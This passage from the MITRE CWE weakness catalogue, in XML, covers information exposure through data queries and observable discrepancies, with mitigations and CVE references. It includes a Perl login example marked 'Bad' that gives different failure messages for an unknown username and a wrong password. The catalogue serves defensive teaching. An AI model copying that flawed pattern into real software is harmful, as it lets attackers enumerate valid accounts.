               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Name, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Information Leak Through Sent Data</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Sent Data</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-08-20">Exposure of Sensitive Information Through Sent Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="202" Name="Exposure of Sensitive Information Through Data Queries" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>When trying to keep information confidential, an attacker can often infer some of the information by using statistics.</Description>
         <Extended_Description>In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1230" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Note>Sensitive information may possibly be leaked through data queries accidentally.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>This is a complex topic. See the book Translucent Databases for a good discussion of best practices.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>See the book Translucent Databases for examples.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Accidental leaking of sensitive information through data queries</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>The relationship between CWE-202 and CWE-612 needs to be investigated more closely, as they may be different descriptions of the same kind of problem.  CWE-202 is also being considered for deprecation, as it is not clearly described and may have been misunderstood by CWE users.  It could be argued that this issue is better covered by CAPEC; an attacker can utilize their data-query privileges to perform this kind of operation, and if the attacker should not be allowed to perform the operation - or if the sensitive data should not have been made accessible at all - then that is more appropriately classified as a separate CWE related to authorization (see the parent, CWE-1230).</xhtml:p>
	    </Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Name, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Information Leak Through Data Queries</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Privacy Leak through Data Queries</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Exposure of Sensitive Data Through Data Queries</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="203" Name="Observable Discrepancy" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.</Description>
         <Extended_Description>Discrepancies can take many forms, and variations may be detectable in timing, control flow, communications such as replies or requests, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Side Channel Attack</Term>
               <Description>Observable Discrepancies are at the root of side channel attacks.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>When cryptographic primitives are vulnerable to side-channel-attacks, this could be used to reveal unencrypted plaintext in the worst case.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-38">
               <Intro_Text>The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $username=param('username');
                  <xhtml:br/>my $password=param('password');
                  <xhtml:br/>
                  <xhtml:br/>if (IsValidUsername($username) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">if (IsValidPassword($username, $password) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Successful";
                  </xhtml:div>}
                  <xhtml:br/>else
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - incorrect password";
                  </xhtml:div>}
                  </xhtml:div>}
                  <xhtml:br/>else
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - unknown username";
                  </xhtml:div>}
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.</Body_Text>
               <Body_Text>While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>"Login Failed - incorrect username or password"</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Non-uniform processing time causes timing channel.</Intro_Text>
               <Example_Code Nature="Bad">Suppose an algorithm for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).</Example_Code>
               <Body_Text>In the example above, an attacker may vary the inputs, then observe differences between processing times (since different plaintexts take different time). This could be used to infer information about the key.</Body_Text>
               <Example_Code Nature="Good">Artificial delays may be added to ensured all calculations take equal time to execute.</Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Suppose memory access patterns for an encryption routine are dependent on the secret key.</Intro_Text>
               <Body_Text>An attacker can recover the key by knowing if specific memory locations have been accessed or not.  The value stored at those memory locations is irrelevant.  The encryption routine's memory accesses will affect the state of the processor cache.  If cache resources are shared across contexts, after the encryption routine completes, an attacker in different execution context can discover which memory locations the routine accessed by measuring the time it takes for their own memory accesses to complete.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
               <Observed_Example>
                     <Reference>CVE-2020-8695</Reference>
                     <Description>Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure.</Description>
                     <Link>https://www.cve.org/CVERecord?id=CVE-2020-8695</Link>
                     </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2094</Reference>
               <Description>This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2094</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1483</Reference>
               <Description>Enumeration of valid usernames based on inconsistent responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1528</Reference>
               <Description>Account number enumeration via inconsistent responses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1528</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2150</Reference>
               <Description>User enumeration via discrepancies in error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2150</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1650</Reference>
               <Description>User enumeration via discrepancies in error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1650</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0294</Reference>
               <Description>Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0294</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0243</Reference>
               <Description>Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0514</Reference>
               <Description>Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0514</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0515</Reference>
               <Description>Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0515</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0208</Reference>
               <Description>Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0208</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2252</Reference>
               <Description>Behavioral infoleak by responding to SYN-FIN packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2252</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1387</Reference>
               <Description>Product may generate different responses than specified by the administrator, possibly leading to an information leak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1387</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0778</Reference>
               <Description>Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1428</Reference>
               <Description>FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1428</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0078</Reference>
               <Description>SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1117</Reference>
               <Description>Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1117</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0637</Reference>
               <Description>Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0190</Reference>
               <Description>Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0190</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1602</Reference>
               <Description>FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1602</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0918</Reference>
               <Description>Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0918</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Discrepancy Information Leaks</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Information Leakage and Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="189"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
			  <Contribution_Name>Nicole Fern</Contribution_Name>
               <Contribution_Organization>Tortuga Logic</Contribution_Organization>
               <Contribution_Date>2020-06-03</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example for cache timing attack</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-12-28">Discrepancy Information Leaks</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Discrepancy</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-08-20">Observable Discrepancy</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-12-10">Observable Differences in Behavior to Error Inputs</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="204" Name="Observable Response Discrepancy" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.</Description>
         <Extended_Description>This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-38">
               <Intro_Text>The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $username=param('username');
                  <xhtml:br/>my $password=param('password');
                  <xhtml:br/>
                  <xhtml:br/>if (IsValidUsername($username) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">if (IsValidPassword($username, $password) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Successful";
                  </xhtml:div>}
                  <xhtml:br/>else
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - incorrect password";
                  </xhtml:div>}
                  </xhtml:div>}
                  <xhtml:br/>else
